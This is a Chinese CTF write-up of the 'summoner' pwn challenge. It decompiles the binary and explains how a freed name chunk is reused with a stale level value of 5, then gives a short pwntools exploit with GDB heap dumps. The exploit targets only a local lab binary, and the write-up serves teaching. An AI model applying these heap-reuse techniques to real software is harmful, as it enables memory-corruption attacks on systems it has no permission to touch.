github题目链接
这道题下载下来后需要先用patchel使用低版本的libc(我这里用的是libc2.23)加载运行,
具体怎么用?看这
还有这
flag也是自己设置在/pwn/flag里
fast fit思想
如果一个chunk是空闲的并且足够大(大于用户申请的chunk大小),那么申请chunk时,就会选择这个空闲的chunk
首先查保护–>看链接类型–>赋予程序可执行权限–>试运行
64位程序,小端序
开启RELRO-----got表不可写
开启canary保护-----栈溢出需绕过canary
开启NX保护-----堆栈不可执行
开启PIE----内存地址随机化
动态链接
运行一下
这里我翻译了一下,好像翻译的有点不对,但大体就这意思
翻过雪山后,遇到了邪恶的召唤师!他召唤出了5级的“黑魔王”!你必须越过他的尸体才能与魔龙战斗,但你只能召唤4级生物!你现在有什么打算???可用计划:
show - 显示你的生物及其等级
summon [name] - 召唤一个名为 [name] 的生物
level-up [level] - 升级你的生物(低于 5 级) 罢工 - 打击邪恶的召唤者的生物!!!
release - 释放你的生物
quit - 放弃并死
输入你的命令:
召唤一个当前的生物:“a”
输入你的命令: >
显示当前的生物:a [Level 0]
输入你的命令: > level-up Invalid command
输入你的命令: > 升级一个 升级到“0”
输入你的命令: > strike
不,你不能打败他!
输入你的命令: > release 发布。
输入您的命令: > 退出
ida看一下伪代码
有一个菜单函数
程序流程基本全在主函数里
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
const char *v3; // rsi
char **v5; // [rsp+0h] [rbp-240h]
unsigned int mylevel; // [rsp+1Ch] [rbp-224h]
void **v7; // [rsp+20h] [rbp-220h]
const char *name; // [rsp+28h] [rbp-218h]
const char *nptra; // [rsp+28h] [rbp-218h]
char s; // [rsp+30h] [rbp-210h]
char v11; // [rsp+37h] [rbp-209h]
_BYTE v12[7]; // [rsp+39h] [rbp-207h]
unsigned __int64 v13; // [rsp+238h] [rbp-8h]
v5 = a2;
v13 = __readfsqword(0x28u);
v3 = 0LL;
setbuf(_bss_start, 0LL);
sub_AF0();
menu();
v7 = 0LL;
while ( 1 )
{
printf("\nEnter your command:\n> ", v3, v5);
if ( !fgets(&s, 0x200, stdin) ) // 64位 small 0x20~0x400
break;
v3 = "show";
if ( !strncmp(&s, "show", 4uLL) )
{
if ( v7 )
{
v3 = (const char *)*v7;
printf("Current creature: %s [Level %u]\n", *v7, *((unsigned int *)v7 + 2));
}
else
{
puts("You have no creature now.");
}
}
else
{
v3 = "summon";
if ( !strncmp(&s, "summon", 6uLL) )
{
if ( v7 )
{
puts("Already have one creature. Release it first.");
}
else
{
v3 = "\n";
name = strtok(&v11, "\n"); // nptr = s
if ( name )
{
v7 = (void **)malloc(0x10uLL); // 动态内存分配给v7
//
if ( !v7 )
{
puts("malloc() returned NULL. Out of Memory\n");
exit(-1);
}
*v7 = strdup(name); // *v7 == *name
v3 = name;
printf("Current creature:\"%s\"\n", name);
}
else
{
puts("Invalid command");
}
}
}
else
{
v3 = "level-up";
if ( !strncmp(&s, "level-up", 8uLL) )
{
if ( v7 )
{
v3 = "\n";
nptra = strtok(v12, "\n");
if ( nptra )
{
v3 = 0LL;
mylevel = strtoul(nptra, 0LL, 10);
if ( mylevel <= 4 )
{
*((_DWORD *)v7 + 2) = mylevel; // v7---mem = mylevel
v3 = (const char *)mylevel;
printf("Level-up to \"%u\"\n", mylevel);
}
else
{
puts("Can only level-up to Level 4.");
}
}
else
{
puts("Invalid command");
}
}
else
{
puts("Summon first.");
}
}
else
{
v3 = "strike";
if ( !strncmp(&s, "strike", 6uLL) )
{
if ( v7 )
{
if ( *((_DWORD *)v7 + 2) == 5 ) // flag条件 mylevel ==5
system("/bin/cat /pwn/flag");
else
puts("No, you cannot beat him!");
}
else
{
puts("Summon first.");
}
}
else
{
v3 = "release";
if ( !strncmp(&s, "release", 7uLL) )
{
if ( v7 )
{
free(*v7); // 释放内存,但未给指针v7置空,保留了原数据,v7指针的mem前8位存放姓名,后八位存放mylevel,可以通过溢出修改mylevel,free掉,再次申请内存时,mylevel默认是上次修改的值(5)
v7 = 0LL;
puts("Released.");
}
else
{
puts("No creature summoned.");
}
}
else
{
v3 = "quit";
if ( !strncmp(&s, "quit", 4uLL) )
return 0LL;
puts("Invalid option");
menu();
}
}
}
}
}
}
return 0LL;
}
观察程序发现创造一个怪物会建立两个chunk,第一个chunk存放怪物等级,第二个chunk存放怪物名字,
两个chunk大小(0x20字节)都是0x10(mem大小)字节
v7 = (void **)malloc(0x10uLL); // 动态内存分配给v7
*v7 = strdup(name);
flag条件 mylevel ==5可以获得flag
if ( *((_DWORD *)v7 + 2) == 5 ) // flag条件 mylevel ==5
system("/bin/cat /pwn/flag");
·
然而由下面这段代码可知我们不能把mylecel值改为5
if ( mylevel <= 4 )
{
*((_DWORD *)v7 + 2) = mylevel; // v7---mem = mylevel
v3 = (const char *)mylevel;
printf("Level-up to \"%u\"\n", mylevel);
}
else
{
puts("Can only level-up to Level 4.");
思路
free(*v7);
v7 = 0LL;
释放内存,但未给指针第一个chunk指针置空,保留了原数据,只把存放name的chunk置空,*v7指针的mem前8位存放姓名,后八位存放mylevel,可以通过溢出修改mylevel,free掉,再次申请内存时,mylevel默认是上次修改的值(这里我们把等级改为5)
exp
from pwn import *
context.terminal = ["gnome-terminal", "-x", "sh", "-c"]
context(os='linux',endian='little',log_level='debug',arch='amd64')
sh = process('./summoner')
def dbg():
gdb.attach(sh)
pause()
sh.sendlineafter('> ','summon aaaaaaaa'+'\x05') #申请一个chunk,溢出下一位为5
dbg() #第一个断点
sh.sendlineafter('> ','release') #释放name的chunk
dbg()#第二个断点
sh.sendlineafter('> ','summon a') #申请一个怪物,第一个chunk就是释放的那个等级为5的chunk
dbg()#第三个断点
sh.sendlineafter('> ','strike')
sh.interactive()
运行
第一个断点处,可以看到申请了两个chunk,
0x55b128748010: 0x0000000000000000 0x0000000000000021
0x55b128748020: 0x000055b128748040 0x0000000000000000 #第一个chunk,mem存放第二个chunk的地址和等级0
0x55b128748030: 0x0000000000000000 0x0000000000000021
0x55b128748040: 0x6161616161616161 0x0000000000000005 #第二个chunk,mem存放怪物名字即多写的一个5
接着运行
0x55b128748010: 0x0000000000000000 0x0000000000000021
0x55b128748020: 0x000055b128748040 0x0000000000000000
0x55b128748030: 0x0000000000000000 0x0000000000000021
0x55b128748040: 0x0000000000000000 0x0000000000000005
第二个断点处,可以看到free后,第一个chunk未被free,还有值,第二个chunk已经被free,name指针也置空为0
接着运行
0x55b128748010: 0x0000000000000000 0x0000000000000021
0x55b128748020: 0x000055b128748040 0x0000000000000000 #第一次申请的chunk
0x55b128748030: 0x0000000000000000 0x0000000000000021
0x55b128748040: 0x000055b128748060 0x0000000000000005 #第二次申请的第一个chunk,使用了第一次释放的chunk,存放等级5
0x55b128748050: 0x0000000000000000 0x0000000000000021
0x55b128748060: 0x0000000000000061 0x0000000000000000 #第二次申请的第二个chunk,存放名字0x61(我们输入的a)
接着运行strike获得flag